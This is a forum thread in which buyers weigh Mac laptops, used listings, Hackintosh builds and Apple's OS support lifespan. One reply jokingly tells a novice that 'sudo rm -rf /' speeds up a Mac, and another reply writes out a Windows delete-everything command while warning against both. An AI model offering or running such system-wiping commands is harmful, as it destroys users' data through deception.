Thinking about buying a Mac laptop

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i hab macs for 15 years now. nut sure if next one will be mac. very likelly be a hackintosh. no like todays mac pros. can put togethur a computur myself for much cheapear.

but, keep this in MIND! apple is notoriuss for putting plannd obsoleccents into their designs. dunt' be surprysed if yur 5 years old mac is no longer cumpatibul with there latests OS. same goes for all there produkts: ipods, iphone, etc. my ipod tuch from few yrs ago can no lunger be updated with new OS.

anyway, GOD LUCK TO YOU AND BE MERRY! :angel1:
 
shanek I saw this on Kijiji and would appreciate anyone's feedback that knows more about this stuff than me. Other suggestions? [URL said:
http://www.kijiji.ca/v-laptops/mississauga-peel-region/15inch-macbook-pro/1123513752?enableSearchNavigationFlag=true[/URL]

Thanks!
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that laptup is OLD! i doubt youd be able to update with latestes OS! this means that u culd NUT buy any NEW software! you should check. i suggest pick software furst, and than go backwurds to choose type of computer u need.

also, mac dunt do sales, so likely find no boxing day sales on macs.
 
Two things to keep in mind when buying Macs:

1) Apple seems to support their computers for about five years (via OS X updates), so buying older hardware risks being stuck on obsolete software

2) Seems every other hardware refresh that Macs go through they pick up significant hardware issues that are impossible or $$$ to fix (bad screens, heat warped chassis, etc). Don't buy a relatively new Mac at a slight discount if it means skipping out on the Applecare warranty
 
daught said:
Make sure you look in to "rm -rf /" and its dangers.
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No dangers at all. It actually makes you Mac incredibly fast and automatically upgrades the hardware, via nano robots that come with Macs. Apple does this to save costs on upgrades from their manufacturing line and want to keep the consumers from knowing about it.

The command is sudo rm -rf / btw, not just rm -rf /

You'll have to type in your password and there might be some bogus warnings that Apple auto generates to scare ppl off from using this awesome feature.

I'm surprised that no one has said this yet. OP, you want a Mac for $500? lol But you can use the above command to fix it if you buy the one off Kijiji.
 
油井緋色;2372274 said:
No dangers at all. It actually makes you Mac incredibly fast and automatically upgrades the hardware, via nano robots that come with Macs. Apple does this to save costs on upgrades from their manufacturing line and want to keep the consumers from knowing about it.

The command is sudo rm -rf / btw, not just rm -rf /

You'll have to type in your password and there might be some bogus warnings that Apple auto generates to scare ppl off from using this awesome feature.

I'm surprised that no one has said this yet. OP, you want a Mac for $500? lol But you can use the above command to fix it if you buy the one off Kijiji.
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what the hell are you guys blabbering about?

On a side note, I just upgraded my iPhone 3 to an iPhone 4 today. I can look at myself while staring at this thing and it also has a light on it.

I guess I'll just pony up an extra $500 and get something closer to a grand. Thanks for the suggestions everyone.
 
Here is my 2 cents from someone who always uses a laptop for work. Laptops get outdated very fast (like all technology) so if your line of work needs something with high performance, definitley dont o with a Mac. Because you will get the same performance (CPU, GPU, Memory...) on windows based for half the price of a similar performance in Mac.

Now if your laptop usuage is more everyday stuff like emails, typing, music, moveis and you dont need a high perfomance machine, get a Mac. Why? Because Macs are less prone to have issues and will last longer. but if you need a high performance machine, then it doesnt matter how mint your Mac is in 2 years. The CPU/GPU are old so youll have to drop another $3000 for a Macbook pro.

In short, if you dont need to change your laptop every 2 years to keep up with new softwares, Mac is good. Otherwise its too expensive for something you gotta change soon.
 
ashkan said:
In short, if you dont need to change your laptop every 2 years to keep up with new softwares, Mac is good. Otherwise its too expensive for something you gotta change soon.
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Thanks.
My last computer for my DJ booth I had for close to 10 years. This one will be around for a long time.
It's only a hobby.
 
Obviously being a DJ, this won't work for you... but I wanted to learn the Mac OS and just something new on a computer for once in a decade. I decided to buy a Mac Mini. I have it hooked up to my TV with the Apple Wireless KB + Trackpad. It is a treat to use, and yes it works awesome. Operating system upgrades are either for free, or like $15ish traditionally as well. If you have an iPhone/iPad it is instantly and seamlessly linked via your iCloud. Time Machine backup takes like 30 seconds to configure and gives you the ability to go back through multiple copies of edited files for eons.

Basically you can set up all kinds of stuff that is a little more time consuming / difficult on a Windows system in seconds on a Mac...
 
Dreamy Boom Boom said:
i hab macs for 15 years now. nut sure if next one will be mac. very likelly be a hackintosh. no like todays mac pros. can put togethur a computur myself for much cheapear.
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I'm typing this on a hackintosh, one that I built about 4 years or so back and has served me well to this day. ;)

A very viable option IF you are computer savvy. They are not without their quirks and problems, but it was worth it for me being able to build a very high end HackPro system (core i7 2600K, 32 gigs of ram, SSD, etc etc) for significantly less than what a comparable MacPro would have cost me. It's a number cruncher machine, I used to do a lot of video editing and needed something fast and powerful for conversions and rendering. It scores very well in benchmark tests. ;)

If you are not very tech savvy however, you don't want to mess with Hackintosh's.

TwistedKestrel said:
1) Apple seems to support their computers for about five years (via OS X updates), so buying older hardware risks being stuck on obsolete software
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Not so. They support the physical hardware for about 5 years before they phase out factory repair and part service. Aftermarket parts and service go on for countless more years without any problems. OSX updates go on far longer until the hardware can't physically support it anymore. I have a first generation Aluminum iMac from 2007 which updated just fine to El Captitan...at nearly 9 years of age.

To the contrary, Apple enjoys some of the longest software support in the computer industry, and that goes for iPhones as well. Even the iPhone 4S which was released in late 2011 and is now officially over 4 years old is supported in the very latest version of iOS9. 4 years old is ancient history in the cellphone market yet Apple is still supporting it. The same can not be said for virtually any other handset on the market that is 4 years old.
 
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I'd have a Mac but it can't do what my surface pro 3 does in terms of accurate touchscreen, portability and power. Now that the pro 4 is out the 3 might be cheaper. Just a consideration.
 
laptop with a touch screen

//shudder// :violent2:
 
油井緋色;2372274 said:
No dangers at all. It actually makes you Mac incredibly fast and automatically upgrades the hardware, via nano robots that come with Macs. Apple does this to save costs on upgrades from their manufacturing line and want to keep the consumers from knowing about it.

The command is sudo rm -rf / btw, not just rm -rf /

You'll have to type in your password and there might be some bogus warnings that Apple auto generates to scare ppl off from using this awesome feature.

I'm surprised that no one has said this yet. OP, you want a Mac for $500? lol But you can use the above command to fix it if you buy the one off Kijiji.
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Oh, wow! You are so brilliant for knowing that command. Telling people to do that is however, not a nice act.
Why not also tell Windows users to sign on as an adminstrator and then:
cmd
cd \
DEL /F /S /Q *.*

and force remove all files from the main drive and all subdirectories without asking for permission, effectively trashing the system.

Why would somebody want to tell others to do something that has such malicious intent, without informing them of what it does?

p.s. Don't do either of the above commands. People with little knowledge can be dangerous.
 
mmmnaked said:
laptop with a touch screen

//shudder// :violent2:
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. Very useful for presenting when you need to add annotation to slides. I never need paper for meetings as I can ink directly into One Note and that then has writing recognition to convert to typed text.
 
CruisnGrrl said:
Like I said, contact Macdoc either on here or stromtooper.com to see what deal he can give you
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I did and thanks for the suggestion. And I think I will hit the bank tomorrow and then pay him a visit, but just not quite sure of the final specs.
 
Baggsy said:
Oh, wow! You are so brilliant for knowing that command. Telling people to do that is however, not a nice act.
Why not also tell Windows users to sign on as an adminstrator and then:
cmd
cd \
DEL /F /S /Q *.*

and force remove all files from the main drive and all subdirectories without asking for permission, effectively trashing the system.

Why would somebody want to tell others to do something that has such malicious intent, without informing them of what it does?

p.s. Don't do either of the above commands. People with little knowledge can be dangerous.
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Because it's hilarious. The same reason why goatse.cx, lemon party, sporkeh.exe, and getting caged exists.

(Don't Google lemon party or goatse.cx, it cannot be unseen after).
 
Shane just saw this. Factory Direct
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